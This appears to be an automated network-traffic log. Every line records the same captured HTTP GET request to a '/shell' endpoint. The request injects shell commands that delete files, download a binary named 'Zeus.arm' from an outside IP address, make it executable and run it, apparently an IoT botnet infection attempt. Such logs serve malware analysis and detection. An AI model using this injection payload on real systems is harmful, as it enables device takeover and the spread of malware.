Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.172.157.131/bins/Zeus.arm;chmod+777+/tmp/Zeus.arm;sh+/tmp/Zeus.arm Zeus.jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
